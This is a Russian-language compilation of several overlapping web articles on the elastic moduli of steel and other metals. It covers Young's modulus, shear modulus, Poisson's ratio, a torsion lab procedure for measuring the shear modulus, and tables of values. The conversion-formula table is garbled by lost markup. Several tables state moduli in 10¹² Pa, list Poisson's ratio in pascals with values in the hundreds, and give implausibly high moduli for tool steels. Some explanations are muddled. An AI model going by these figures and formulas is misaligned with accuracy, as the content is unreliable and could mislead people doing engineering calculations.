Модуль упругости второго рода для сталей принимает значения

Обновлено: 18.05.2024

Модуль упругости — общее название нескольких физических величин, характеризующих способность твёрдого тела (материала, вещества) упруго деформироваться (то есть не постоянно) при приложении к нему силы. В области упругой деформации модуль упругости тела в общем случае зависит от напряжения и определяется производной (градиентом) зависимости напряжения от деформации, то есть тангенсом угла наклона начального линейного участка диаграммы напряжений-деформаций:

E — модуль упругости;
σ — напряжение, вызываемое в образце действующей силой (равно силе, делённой на площадь приложения силы);
ε — упругая деформация образца, вызванная напряжением (равна отношению изменения размера образца после деформации к его первоначальному размеру).

В наиболее распространенном случае зависимость напряжения и деформации линейная (закон Гука):

Если напряжение измеряется в паскалях, то, поскольку деформация является безразмерной величиной, единицей измерения Е также будет паскаль. Альтернативным определением является определение, что модуль упругости — это напряжение, достаточное для того, чтобы вызвать увеличение длины образца в два раза. Такое определение не является точным для большинства материалов, потому что это значение намного больше чем предел текучести материала или значения, при котором удлинение становится нелинейным, однако оно может оказаться более интуитивным.

Разнообразие способов, которыми могут быть изменены напряжения и деформации, включая различные направления действия силы, позволяют определить множество типов модулей упругости. Здесь даны три основных модуля:

Модуль Юнга ( E ) характеризует сопротивление материала растяжению/сжатию при упругой деформации, или свойство объекта деформироваться вдоль оси при воздействии силы вдоль этой оси; определяется как отношение напряжения к деформации сжатия (удлинения). Часто модуль Юнга называют просто модулем упругости.
Модуль сдвига или модуль жесткости ( G или μ ) характеризует способность материала сопротивляться изменению формы при сохранении его объёма; он определяется как отношение напряжения сдвига к деформации сдвига, определяемой как изменение прямого угла между плоскостями, по которым действуют касательные напряжения. Модуль сдвига является одной из составляющих явления вязкости.
Модуль объёмной упругости или Модуль объёмного сжатия ( K ) характеризует способность объекта изменять свой объём под воздействием всестороннего нормального напряжения (объёмного напряжения), одинакового по всем направлениям (возникающего, например, при гидростатическом давлении). Он равен отношению величины объёмного напряжения к величине относительного объёмного сжатия. В отличие от двух предыдущих величин, модуль объёмной упругости невязкой жидкости отличен от нуля (для несжимаемой жидкости — бесконечен).

Гомогенные и изотропные материалы (твердые), обладающие линейными упругими свойствами, полностью описываются двумя модулями упругости, представляющими собой пару любых модулей. Если дана пара модулей упругости, все другие модули могут быть получены по формулам, представленным в таблице ниже.

В невязких течениях не существует сдвигового напряжения, поэтому сдвиговый модуль всегда равен нулю. Это влечёт также и равенство нулю модуля Юнга.

Формулы преобразования
Упругие свойства гомогенных изотропных линейно-упругих материалов уникально определяются любыми двумя модулями упругости. Таким образом, имея два модуля, остальные можно вычислить по следующим формулам:
( λ , G )	( E , G )	( K , λ )	( K , G )	( λ , ν ) u )>	( G , ν ) u )>	( E , ν ) u )>	( K , ν ) u )>	( K , E )
K = модуль объемной

λ + 2 G 3 >> E G 3 ( 3 G − E ) >> λ 1 + ν 3 ν u > u >>> 2 G ( 1 + ν ) 3 ( 1 − 2 ν ) u )> <3(1-2
u )>>> E 3 ( 1 − 2 ν ) u )>>> E = модуль продольной

G 3 λ + 2 G λ + G >> 9 K K − λ 3 K − λ >> 9 K G 3 K + G >> λ ( 1 + ν ) ( 1 − 2 ν ) ν u )(1-2
u )> u >>> 2 G ( 1 + ν ) u )> 3 K ( 1 − 2 ν ) u )> λ = первый параметр ЛамеG E − 2 G 3 G − E >> K − 2 G 3 >> 2 G ν 1 − 2 ν u > u >>> E ν ( 1 + ν ) ( 1 − 2 ν ) u )(1-2
u )>>> 3 K ν 1 + ν u > u >>> 3 K ( 3 K − E ) 9 K − E >> G = модуль сдвига

или второй параметр Ламе

3 K − λ 2 >> λ 1 − 2 ν 2 ν u > u >>> E 2 + 2 ν u >>> 3 K 1 − 2 ν 2 + 2 ν u > u >>> 3 K E 9 K − E >> ν = u => коэф. пуассонаλ 2 ( λ + G ) <2(lambda +G)>>> E 2 G − 1 >-1> λ 3 K − λ >> 3 K − 2 G 2 ( 3 K + G ) >> 3 K − E 6 K >> M = λ + 2 G G 4 G − E 3 G − E >> 3 K − 2 λ K + 4 G 3 >> λ 1 − ν ν u > u >>> G 2 − 2 ν 1 − 2 ν u > u >>> E 1 − ν ( 1 + ν ) ( 1 − 2 ν ) u > <(1+
u )(1-2
u )>>> 3 K 1 − ν 1 + ν u > u >>> 3 K 3 K + E 9 K − E >>

Модули упругости (Е) для некоторых веществ:

Модуль Юнга (модуль упругости первого рода) Е, МПа, Н/мм 2 — постоянная упругости в законе Гука в пределах, когда деформация пропорциональна напряжению.

Модуль Юнга численно равен напряжению, увеличивающему длину образца в два раза: для стали, Е_ст = (2,0-2,2)×10 5 МПа; для чугуна, Е_ч = 1,2×10 5 МПа;
для меди, Е_м = 1,0×10 5 МПа; для алюминия, Е_ал = 0,6×10 5 МПа; для каната, Е_к = (1,1-1,7)×10 5 МПа: канат с органическим сердечником, Е_о = (1,1-1,3)×10 5 МПа; канат с металлическим сердечником, Е_мет = 1,4×10 5 МПа; канат закрытый, Е_з = 1,7×10 5 МПа.

Закон Гука: возникающее удлинение образца Δl под действием внешней силы Р пропорционально величине действующей силы, первоначальной длине l и обратно пропорционально площади поперечного сечения S:

Δl = (l × Р) / (Е × S) или р = Е × ε,

где р = Р / S — напряжение; ε = Δl / l — относительная продольная деформация.

Материалы разделяются на хрупкие и пластичные. Хрупкие вещества
разрушаются при очень малых относительных удлинениях. Хрупкие материалы обычно выдерживают, не разрушаясь, большее сжатие, чем растяжение.

Совместно с деформацией растяжения наблюдается уменьшение диаметра образца. Если Δd — изменение диаметра образца, то ε₁ = Δd / d принято называть относительной поперечной деформацией. Абсолютная величина μ = ε₁ / ε носит название коэффициента поперечной деформации — коэффициента Пуассона. Коэффициент Пуассона для стали: μ_ст = 0,3.

Сдвиг — деформация, при которой все слои тела, параллельные некоторой плоскости, смещаются друг относительно друга.

Закон Гука для деформации сдвига: р = G × α, где G — модуль сдвига;
α — угол сдвига (относительный сдвиг). Модуль упругости стали при сдвиге:
G_ст = 0,8×10 5 МПа.

Соотношение между упругими постоянными: G = Е / 2 × (1 + μ).

Температурный коэффициент линейного расширения — величина, равная среднему (в интервале температур [0; t] °С) относительному удлинению тела (град -1 ): α = (l₁ – l) / (t × l ). Температурный коэффициент линейного
расширения: для стали, α_ст = (11-12)×10 -6 град -1 ; для меди, α_м = 16,5×10 -6 град -1 ;
для алюминия, α_ал = 23,0×10 -6 град -1 .

Отсутствие тепловых зазоров приводит к возникновению значительных сил, определяемых площадью сечения вала:

где E — модуль Юнга, МПа; S — площадь сечения вала, м 2 ; α — коэффициент линейного расширения, град -1 ; Δt — повышение температуры, °С.

Предел текучести — напряжение, при котором появляется текучесть (увеличение деформации без увеличения деформирующей силы). Предел текучести: рядовая сталь, σ_т = 200 МПа; сталь средней прочности, σ_т = 400 МПа; легированная сталь, σ_т = 800 МПа.

Предел упругости — напряжение, при котором остаточные деформации впервые достигают некоторой величины, характеризуемой определенным допуском, устанавливаемым техническими условиями.

Предел прочности — напряжение, отвечающее наибольшей нагрузке,
предшествовавшей разрушению образца.

Усталость — процесс постепенного возникновения и развития трещины в материале под воздействием многократно повторяющихся силовых
воздействий.

Предел выносливости — наибольшее напряжение, которое может выдержать материал при заданном числе циклов нагружения.

Ползучесть — нарастание во времени пластической деформации материала при силовых воздействиях, меньших чем те, которые вызывают остаточную деформацию.

До того, как взять в работу какой-то строительный материал, необходимо изучить его прочностные данные и возможное взаимодействие с другими веществами и материалами, их сочетаемость в плане адекватного поведения при одинаковых нагрузках на конструкцию. Определяющая роль для решения этой задачи отводится модулю упругости – его называют ещё модулем Юнга.

Высокая прочность стали позволяет использовать её при строительстве высотных зданий и ажурных конструкций стадионов и мостов. Добавки в сталь некоторых веществ, влияющих на её качество, называют легированием, и эти добавки могут увеличить прочность стали в два раза. Модуль упругости стали легированной гораздо выше, чем обычной. Прочность в строительстве, как правило, достигается подбором площади сечения профиля в силу экономических причин: высоколегированные стали имеют более высокую стоимость.

Далее, будет рассмотрено значение термина, изменчивость его для стали различных сортов. Для сравнения будут приведены значения модуля других материалов.

Физический смысл

Обозначение модуля упругости как физической величины – (Е), этот показатель характеризует упругую сопротивляемость материала изделия прилагаемым к нему деформирующим нагрузкам:

продольным – растягивающим и сжимающим;
поперечным – изгибающим или исполненным в виде сдвига;
объёмным – скручивающим.

Чем выше значение (Е), тем выше сопротивляемость материала нагрузкам, тем прочнее будет изделие из этого материала и тем выше будет предел разрушения. Например, для алюминия эта величина составляет 70 ГПа, для чугуна – 120, железа – 190, а для стали до 220 ГПа.

Определение

Модуль упругости – сводный термин, вобравший в себя другие физические показатели свойства упругости твёрдых материалов – под воздействием силы изменяться и обретать прежнюю форму после её прекращения, то есть, упруго деформироваться. Это отношение напряжения в изделии – давление силы на единицу площади, к упругой деформации (безразмерная величина, определяемая отношением размера изделия к его изначальному размеру). Отсюда и его размерность, как и у напряжения – отношение силы к единице площади. Поскольку напряжение в метрической СИ принято измерять в Паскалях, то и показатель прочности – тоже.

Существует и другое, не очень корректное определение: модуль упругости – это давление, способное удлинить изделие вдвое. Но предел текучести большого количества материалов значительно ниже прилагаемого давления.

Модули упругости, их виды

Способов изменения условий приложения силы и вызываемых при этом деформаций много, и это предполагает и большое количество видов модулей упругости, но на практике сообразно деформирующим нагрузкам выделяют три основных:

Юнга (Е) представляет упругую сопротивляемость растягивающим и сжимающим нагрузкам – собственно, именно этим термином пользуются, когда говорят о модуле упругости;
модуль сдвига (G) характеризует сопротивляемость любому нарушению формы без её разрушения или изменения нормы – это отношение сдвигающей нагрузки к деформации, проявляющейся в виде изменчивости прямого угла между двумя половинами плоскости, подвергшейся нагрузке. Второе название этого термина – жёсткости, он же представляет и вязкость материала;
модуль объёмной упругости (К) – сопротивляемость изменению объёма при разносторонних нормально приложенных напряжениях, имеющих равную величину по всем векторам. Его называют ещё модулем объёмного сжатия, выражается отношением объёмного давления к объёмной деформации сжатия.

Этими показателями характеристики упругости не исчерпываются, есть и другие, которые несут другую информацию, имеют иную размерность и смысл. Это также широко известные среди специалистов показатели упругости Ламе и коэффициент Пуассона.

Как определить модуль упругости стали

Для определения параметров различных марок стали существуют специальные таблицы в составе нормативных документов в области строительства – в строительных нормах и правилах (СНиП) и государственных стандартах (ГОСТ). Так, модуль упругости (Е) или Юнга, у чугуна белого и серого от 115 до 160 ГПа, ковкого – 155. Что касается стали, то модуль упругости стали С245 – углеродистой имеет значения от 200 до 210 ГПа. Легированная сталь имеет показатели несколько выше – от 210 до 220 ГПа.

Та же самая характеристика у рядовых марок стали Ст.3 и Ст.5 имеет то же значение – 210 ГПа, а у стали Ст.45, 25Г2С и 30ХГС – 200 ГПа. Как видим, изменчивость (Е) для различных марок стали незначительна, а вот в изделиях, например, в канатах – другая картина:

у прядей и свивок проволоки высокой прочности 200 ГПа;
стальные тросы с металлическим стержнем 150 ГПа;
стальные канаты с органическим сердечником 130 ГПа.

Как можно заметить, разница значительная.

Значения модуля сдвига или жёсткости (G) можно увидеть в тех же таблицах, они имеют меньшие значения, для прокатной стали – 84 ГПа, углеродистой и легированной – от 80 до 81 гпа, а для сталей Ст.3 и Ст.45–80 ГПа. Причиной различия значений параметра упругости является одновременное действие сразу трёх основных модулей, рассчитываемых по разным методикам. Однако разница между ними небольшая, что говорит о достаточной точности изучения упругости. Поэтому не стоит зацикливаться на вычислениях и формулах, а следует принять конкретную величину упругости и пользоваться ей как константой. Если не производить вычисления по отдельным модулям, а сделать расчёт комплексно, значение (Е) будет составлять 200 ГПа.

Необходимо понимать, значения эти разнятся для сталей с разными присадками и стальных изделий, включающих детали из других веществ, но разнятся эти значения незначительно. Основное влияние на показатель упругости оказывает содержание углерода, а вот способ обработки стали – горячий прокат или холодная штамповка, значительного влияния не оказывает.

При выборе стальных изделий пользуются также и ещё одним показателем, который регламентируется так же, как и модуль упругости в таблицах изданий ГОСТ и СНиП – это расчётное сопротивление растягивающим, сжимающим и изгибающим нагрузкам. Размерность у этого показателя та же, что и у модуля упругости, но значения на три порядка меньше. Этот показатель имеет два назначения: нормативное и расчётное сопротивление, названия сами говорят за себя – расчётное сопротивление применяется при выполнении расчётов прочности конструкций. Так, расчётное сопротивление стали С255 при толщине проката от 10 до 20 мм – 240 МПа, при нормативном 245 МПа. Расчётное сопротивление проката от 20 до 30 мм чуть ниже и составляет 230 МПа.

Определение модуля упругости II рода (сдвига)

Цель работы – проверка справедливости закона Гука при кручении и определение модуля упругости II рода (модуля упругости при сдвиге).

Основные сведения

Экспериментальные исследования круглых стержней на кручение показывают, что в начальной стадии деформации происходит поворот одного сечения относительно другого на некоторый угол φ, называемый углом закручивания.

Для большинства металлов наблюдается линейная зависимость между углом закручивания φ и крутящим моментом М_к, т.е. соблюдается закон Гука:

где l – расчетная длина образца;
G – модуль упругости II рода (модуль сдвига);
I_р – полярный момент инерции поперечного сечения стержня;
GI_Р – жесткость стержня при кручении.

Величина модуля G определяется экспериментально из опытов на кручение, хотя теоретически она не является независимой от других постоянных, характеризующих упругие свойства изотропных материалов: модуля упругости I рода Е и коэффициента Пуассона υ :

Порядок выполнения и отработка результатов

Испытания проводят с использованием машины МК-50 на стандартном образце d = 15 мм (ГОСТ 3565-80). Изменение угла закручивания образца определяют с помощью торсиметра.

Максимальное нагружение определяют по формуле

где τ_пц – предел пропорциональности при сдвиге;
— полярный момент сопротивления поперечного сечения стержня.

Зная диапазон нагружения, определяют число замеров (5 или 6) и величину ступени нагружения ΔМ_к.

Ознакомившись с устройством торсиметра и испытательной машины МК-50, торсиметр настраивают таким образом, чтобы цена деления стрелочного индикатора соответствовала углу поворота на 1 мин.

Нагружение производится вручную.

Начальный крутящий момент М_к принимают за условный ноль и снимают первое показание по торсиметру. Далее увеличивают крутящий момент одинаковыми ступенями ΔМ_к, снимают показания на торсиметре и заносят их в журнал испытания. Доводят нагрузку до очередного значения плавно (для этого ручку нагружения держат двумя руками), не «перескакивая» нужное значение, т. к. даже частичная разгрузка недопустима.

Снятие отсчетов можно производить и при разгрузке, соблюдая сказанные правила, т.е. плавно, без «перескакивания». При получении адекватных значений результаты опыта можно считать достоверными.

В процессе испытания образца на кручение после каждой ступени нагружения регистрируют М_к [Н·м] и угол закручивания φ [мин], которые заносят в первые колонки журнала наблюдений, затем по этим данным строят график диаграммы закручивания образца в координатах М_к-φ, по которому проверяют линейную зависимость, т.е. справедливость закона Гука.

После очередной записи отсчетов моментов и углов закручивания в журнале испытаний для каждой ступени нагружения производят подсчет приращений показаний крутящего момента и угла закручивания, которые заносят во вторые колонки. Среднее приращение угла закручивания Δφ_ср определяют по формуле

где n – число ступеней нагружения.

Тогда (используем формулу (6.1)) модуль упругости II рода будет равен

Полученные в опыте значения модуля упругости II рода сравнивают с табличным значением

G_т = 0,8 · 10 11 Па и определяют погрешность опыта:

В заключение работы делают выводы.

Контрольные вопросы

При каком нагружении прямой брус испытывает деформацию кручения?
Какое правило знаков принято для крутящих моментов?
Что называется углом закручивания?
Как выражается закон Гука при кручении?
По каким формулам можно определить модуль упругости второго рода?
Как опытным путем определяется модуль упругости второго рода?
Как экспериментально определяется угол закручивания образца? Какие измерительные приборы и приспособления при этом применяются?
Что называется жесткостью поперечного сечения бруса при кручении? Размерность жесткости поперечного сечения.
Какие факторы влияют на величину угла закручивания?
По какой формуле определяется полярный момент сопротивления для круглого вала сплошного сечения и для вала кольцевого сечения?

Модуль упругости стали

При проектировании стальных изделий или элементов конструкций учитывают способность сплава выдерживать разнонаправленные виды нагрузок: ударные, изгибающие, растягивающие, сжимающие. Значение модуля упругости стали, наряду с твердостью и другими характеристиками, показывает стойкость к этим воздействиям.

Например, в железобетонном строительстве используют продольные и поперечные арматурные стержни. В горизонтальной плоскости они подвержены растяжению, а в вертикальной — давлению всей массы конструкции. В местах концентрации напряжений: углы, технологические проемы, лифтовые шахты и лестничные пролеты — размещают большее количество арматуры. Способность бетона впитывать воду служит причиной постоянных изменений сжимающих и растягивающих нагрузок.

Рассмотрим другой пример. В военное время создавалось множество разработок в сфере авиации. Самыми частыми причинами катастроф были возгорания двигателей. Отрываясь от земли, самолет попадает в атмосферные слои с разреженным воздухом и его корпус расширяется, обратный процесс происходит при посадке. Кроме этого, на конструкцию воздействует сопротивление воздушных потоков, давление искривленных слоев воздуха и другие силы. Несмотря на прочность, существующие в то время сплавы не всегда были пригодны для изготовления ответственных деталей, в основном, это приводило к разрывам топливных баков.

В различных видах промышленности из стали изготавливают детали подвижных механизмов: пружины, рессоры. Марки, используемые для таких целей, не склонны к трещинообразованию при постоянно изменяющихся нагрузках.

Упругость твердых тел — это способность принимать исходную форму после прекращения деформирующих воздействий. Например, брусок пластилина обладает нулевой пружинистостью, а резиновые изделия можно сжимать и растягивать. При различных применениях сил к предметам и материалам, они деформируются. В зависимости от физических свойств тела или вещества, различают два вида деформации:

Упругая — последствия исчезают по окончании действия внешних сил;
Пластическая — необратимое изменение формы.

Модуль упругости — название нескольких физических величин, характеризующих склонность твердого тела деформироваться упруго.

Впервые понятие было введено Томасом Юнгом. Ученый подвешивал грузы к металлическим стержням и наблюдал за их удлинением. У части образцов длина увеличилась в два раза, другие — были разорваны в ходе эксперимента.

Сегодня определение объединяет ряд свойств физических тел:

Модуль Юнга: Вычисляется по формуле E= σ/ε, где σ — напряжение, равное силе, деленной на площадь ее приложения, а ε — упругая деформация, эквивалентная отношению удлинения образца с начала деформации и сжатию после ее прекращения.

Модуль сдвига (G или μ): способность сопротивляться деформации при сохранении объема, когда направление нагрузок производится по касательной. Например, при ударе по шляпке гвоздя, если он был произведен не под прямым углом, изделие искривляется. В сопромате величину используют для вычисления сдвигов и кручения.

Модуль объемной упругости или объемного сжатия (К): изменения, вызванные действием всестороннего напряжения, например, гидростатического давления.

Коэффициент Пуансона (Ⅴ или μ): отношение поперечного сжатия к продольному удлинению, вычисляется для образцов материалов. У абсолютно хрупких веществ он равен нулю.

Константа Ламе: энергия, провоцирующая возвращение в исходную форму, вычисляется через построение скалярных комбинаций.

Модуль упругости стали соотносится с рядом других физических величин. Например, при проведении эксперимента на растяжение, важно учитывать предел прочности, превышение которого оборачивается разрушением детали.

Соотношение жесткости и пластичности;
Ударная вязкость;
Предел текучести;
Относительное сжатие и растяжение (продольное и поперечное);
Пределы прочности при ударных, динамических и др. нагрузках.

Применение ряда подходов обусловлено требованиями к механическим свойствам материалов в разных отраслях промышленности, строительства, приборостроения.

Модуль упругости разных марок стали

Наибольшей способностью противостоять деформации обладают рессорно-пружинистые стальные сплавы. Эти материалы характеризуются высоким пределом текучести. Величина показывает напряжение, при котором деформация растет без внешних воздействий, например при сгибании и скручивании.

Характеристики упругости стали зависят от легирующих элементов и строения кристаллической решетки. Углерод придает стальному сплаву твердость, однако в высоких концентрациях снижается пластичность и пружинистость. Основные легирующие добавки, повышающие упругие свойства: кремний, марганец, никель, вольфрам.

Нередко, нужных показателей можно достичь лишь с помощью специальных режимов термообработки. Таким образом все фрагменты детали будут иметь единые показатели текучести, а слабые участки будут исключены. В противном случае изделие может надломиться, лопнуть или растрескаться. Марки 60Г и 65Г обладают такими характеристиками, как сопротивление разрыву, вязкость, стойкость к износу, они применяются для изготовления промышленных пружин и музыкальных струн.

В металлургической промышленности создано несколько сотен марок стали с разными модулями упругости. В таблице приведены характеристики популярных сплавов.

Таблица модулей прочности марок стали

Наименование стали	Модуль упругости Юнга, 10¹²·Па	Модуль сдвигаG, 10¹²·Па	Модуль объемной упругости, 10¹²·Па	Коэффициент Пуассона, 10¹²·Па
Сталь низкоуглеродистая	165…180	87…91	45…49	154…168
Сталь 3	179…189	93…102	49…52	164…172
Сталь 30	194…205	105…108	72…77	182…184
Сталь 45	211…223	115…130	76…81	192…197
Сталь 40Х	240…260	118…125	84…87	210…218
65Г	235…275	112…124	81…85	208…214
Х12МФ	310…320	143…150	94…98	285…290
9ХС, ХВГ	275…302	135…145	87…92	264…270
4Х5МФС	305…315	147…160	96…100	291…295
3Х3М3Ф	285…310	135…150	92…97	268…273
Р6М5	305…320	147…151	98…102	294…300
Р9	320…330	155…162	104…110	301…312
Р18	325…340	140…149	105…108	308…318
Р12МФ5	297…310	147…152	98…102	276…280
У7, У8	302…315	154…160	100…106	286…294
У9, У10	320…330	160…165	104…112	305…311
У11	325…340	162…170	98…104	306…314
У12, У13	310…315	155…160	99…106	298…304

Модуль упругости для металлов и сплавов

Наименование материала	Значение модуля упругости, 10¹²·Па
Алюминий	65—72
Дюралюминий	69—76
Железо, содержание углерода менее 0,08 %	165—186
Латунь	88—99
Медь (Cu, 99 %)	107—110
Никель	200—210
Олово	32—38
Свинец	14—19
Серебро	78—84
Серый чугун	110—130
Сталь	190—210
Стекло	65—72
Титан	112—120
Хром	300—310

Упругость сталей

Наименование стали	Значение модуля упругости, 10¹²·Па
Сталь низкоуглеродистая	165—180
Сталь 3	179—189
Сталь 30	194—205
Сталь 45	211—223
Сталь 40Х	240—260
65Г	235—275
Х12МФ	310—320
9ХС, ХВГ	275—302
4Х5МФС	305—315
3Х3М3Ф	285—310
Р6М5	305—320
Р9	320—330
Р18	325—340
Р12МФ5	297—310
У7, У8	302—315
У9, У10	320—330
У11	325—340
У12, У13	310—315

Предел прочности

Твердые тела способны выдерживать ограниченные нагрузки, превышение предела приводит к разрушению структуры металла, формированию заметных сколов или микротрещин. Возникновение дефектов сопряжено со снижением эксплуатационных свойств или полным разрушением. Прочность сплавов и готовых изделий проверяют на испытательных стендах. Стандартами предусмотрен ряд испытаний:

Продолжительное применение деформирующего усилия;
Кратковременные и длительные ударные воздействия;
Растяжение и сжатие;
Гидравлическое давление и др.

В сложных механизмах и системах выход из строя одного элемента автоматически становится причиной повышения нагрузок на другие. Как правило, разрушения начинаются на тех участках, где напряжения максимальны. Запас прочности служит гарантией безопасности оборудования во внештатных ситуациях и продлевает срок его службы.

Все о модули упругости стали

Инженерное проектирование – направление строительства, которое решает сразу несколько задач. Перед возведением любых зданий и сооружений разрабатывается проект. Одной из задач инженерного проектирования является подбор оптимального сечения профиля стальной конструкции. Сделать это можно путем проведения определенных расчетов, благодаря которым удастся подобрать лучшее поперечное сечение и предотвратить разрушение здания, сооружения.

Модуль упругости стали – показатель, который поможет ответить на вопрос, какой профиль нужен для надежной эксплуатации объекта. Кроме того, расчет конструкции с учетом модуля упругости предотвратит преждевременные деформации металлопроката.

Что это такое?

Модуль упругости (модуль Юнга) – показатель, определяющий механическую реакцию материала. При помощи данного параметра удается охарактеризовать поведение образца при растяжении. Если говорить более простым языком, то модуль упругости означает пластичные свойства стали, и чем выше показатель, тем меньше растяжение. В теории модуль Юнга обозначают буквой «Е». Это один из компонентов закона Гука, в котором рассматриваются возможные деформации упругих тел. Посредством данной величины удается связать возникающие в материале напряжения с деформацией, которую он испытывает. Единица измерения модуля упругости – паскали (Па) или мегапаскали (МПа). Однако часто инженеры при проведении расчетов отдают предпочтение кгс/см2. Показатель определяют путем исследований в лабораториях, фиксируя образцы на специальном оборудовании. В основе методики лежит разрыв образцов в форме гантелей на автоматизированных установках.

В ходе эксперимента автоматика отслеживает показатели изменения длины и натяжения заготовки, при которых она разрушается, а затем делит результаты. Полученное число и будет модулем Юнга или модулем упругости. Примечательно, что подобная методика определения показателя используется для определения Е:

стали;
меди;
других упругих образцов.

В хрупких материалах параметр определяют путем сжатия до момента появления трещин. Стоит подробнее остановиться на разборе модуля Юнга с точки зрения физики. В процессе принудительного нагружения, которое приводит к изменению формы материала, внутри него возникают ответные усилия. Силы начинают оказывать сопротивление напряжениям извне и стремятся вернуть форму тела. Если образец совершенно не реагирует на нагрузку (точнее, полностью меняет форму и не восстанавливает ее при снятии усилий), его принято считать пластичным. В качестве примера стоит назвать пластилин, который наглядно отражает теорию на практике. Исследованием упругости материалов занимался ученый Р. Гук, которого интересовало, как будут меняться и удлиняться стержни разных материалов под воздействием гирь. Благодаря ранее проведенной серии опытов удалось доказать, что величины абсолютного удлинения и исходной длины прямо пропорциональны. В то же время абсолютное удлинение обратно пропорционально площади поперечного сечения исследуемого стержня.

Гук вывел целый закон, а также ввел параметр Е для характеристики свойств упругого материала. Таким образом, физический смысл модуля заключается в том, что параметр соответствует напряжению, вызываемому в стержне при растягивании на длину, которая в два раза выше при условии отсутствия видимых разрушений образца.

Посредством модуля Е удается предугадать, как будет вести себя материал при определенных нагружениях. Однако он не дает понимания того, что с ним произойдет при других способах нагружения. Поэтому для проведения эффективных расчетов необходимо введение дополнительных параметров.

Жесткость. Показатель демонстрирует степень пластичности узла исследуемого образца. Единица измерения параметра – кгс.
Относительное удлинение в продольном направлении. При расчете используются два показателя: величина абсолютного удлинения и общая длина образца. Показатель не имеет единицы измерения, однако для упрощенного понимания его умножают на 100%.
Относительное удлинение в поперечном направлении. Высчитывается таким же образом, как и предыдущий параметр, только вместо длины используют диаметр стержня-образца. Как показали испытания, поперечное удлинение обычно меньше продольного.
Коэффициент Пуассона. Представляет собой соотношение двух последних показателей. Параметр делает возможным описание того, как материал будет менять свою форму, опираясь на величину нагрузки и место ее приложения.
Модуль сдвига. С его помощью удается описать поведение материала с упругими свойствами при воздействии сил по касательной. Другими словами, помогает оценить работу конструкции при воздействии на нее ветра под углом в 90 градусов.

Дополнительно стоит выделить модуль, который описывает изменения объема образца при неравномерном приложении нагрузки.

Модуль Юнга E непосредственно связан с модулем сдвига и рядом других параметров, характеризующих поведение упругих и неупругих материалов. Возможные варианты следующие.

Модуль Е. Определяется в момент растяжения образца и называется стандартным модулем Юнга нормальной упругости.
Модуль G. Представляет модуль касательной упругости и определяется при испытаниях образца на сдвиг.
Модуль К. Показатель объемной упругости, который характеризуют дополнительные параметры в виде гидростатического давления, относительного уменьшения объема.

Также упругость вычисляют при кручении и других деформациях. Все перечисленные модули имеют размерность напряжения. Первый при этом определяет жесткость материала и не зависит от знака деформации. Физический смысл оставшихся параметров заключается в том, что они описывают, как будет сопротивляться материал упругой деформации. Если чуть проще, то при повышении модуля упругости деформации при заданной нагрузке будут значительно меньшими.

Размеры показателей определяются строением металла. Например, механизм, которого придерживается упругая деформация, кроется в обратимых смещениях атома внутри решетки. Мелкие частицы под воздействием усилий уходят из положения равновесия в кристаллической стальной решетке. По мере приложения нагрузки дистанция между атомами постепенно возрастает, однако этих усилий не хватает, чтобы окончательно разорвать связь. Поэтому при небольших нагружениях, не превышающих прочность материала, атомы возвращаются в исходное положение.

Модули упругости G и K растут вместе с увеличением сил, которые возникают в связах между атомами и препятствуют смещению последних из положения равновесия. Поэтому не стоит останавливаться на изучении размеров зерна или дисперсности материала и думать, что от них зависят важные параметры.

Модуль упругости разных марок

Сталь – прочный материал с высоким модулем Юнга. Наибольшей устойчивостью к воздействиям обладают стальные сплавы с измененной кристаллической решеткой, характеризуемые достаточно большим пределом текучести, который определили опытным путем.

Итак, характеристики упругого поведения стальных элементов, как уже было отмечено, зависят от сложности связей в кристаллической решетке, которая, в свою очередь, формируется исходя из типа материала – легирующей стали. Углерод делает решетку более твердой, однако при чрезмерных концентрациях понижает пластичные и пружинистые свойства металла, что также отражается на модуле упругости. Изменить ситуацию можно с помощью легирующих добавок:

кремния;
никеля;
вольфрама;
марганца.

Добавки повышают упругие свойства материала, однако добиться желаемого результата удается не всегда. В этом случае существует еще один вариант – термообработка. Под воздействием температуры сталь меняет первоначальные свойства: слабые участки исключаются, а фрагменты приобретают единый показатель текучести.

Путем нехитрых экспериментов металлургам удалось выпустить свыше нескольких сотен разных по характеристикам марок сталей. В таблице показано, чему равен модуль упругости E у популярных марок.

Модуль упругости (Модуль Юнга)

Если на изделие из определенного материала воздействовать некой силой, то он начинает сопротивляться этому действию: сжиматься, растягиваться или изгибаться. Способность к такому противостоянию можно оценить и выразить математически. Название этой прочностной характеристики – модуль упругости.

Параметр для каждого материала различный, и характеризует его прочность. Пользуются величиной при разработке конструкций, деталей и других изделий, с целью предотвращения нарушения их целостности.

Модуль упругости

Общее понятие

При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.

Определение модуля Юнга твердых тел
Упругие материалы – это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.

Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м 2 или по международной системе Па.

Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета – нормальное напряжение (σ_z) и лежащая в плоскости сечения – касательное напряжение (τ_z).

Опыт с пружинными весами

Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:

где ε – относительное удлинение или деформация.

Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм 2 или Н/м 2 :

Модуль упругости – это единица измерения отношения напряжения, создаваемого в материале, к линейной деформации, такой как, растяжение и сжатие.

В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.

Способы расчета модуля упругости

Известны также и другие характеристики упругости, которые описывают сопротивление материалов к воздействиям как к линейным, так и отличным от них.

Величина, которая характеризует сопротивление материала к растяжению, то есть увеличению его длины вдоль оси, или к сжатию – сокращению линейного размера, называется модулем продольной упругости.

Обозначается как Е и выражается в Па или ГПа.

Показывает зависимость относительного удлинения от нормальной составляющей cилы (F) к ее площади распространения (S) и упругости (Е):

Параметр также называют модулем Юнга или модулем упругости первого рода, в таблице показаны величины для материалов различной природы.

Название материала	Значение параметра, ГПа
Алюминий	70
Дюралюминий	74
Железо	180
Латунь	95
Медь	110
Никель	210
Олово	35
Свинец	18
Серебро	80
Серый чугун	110
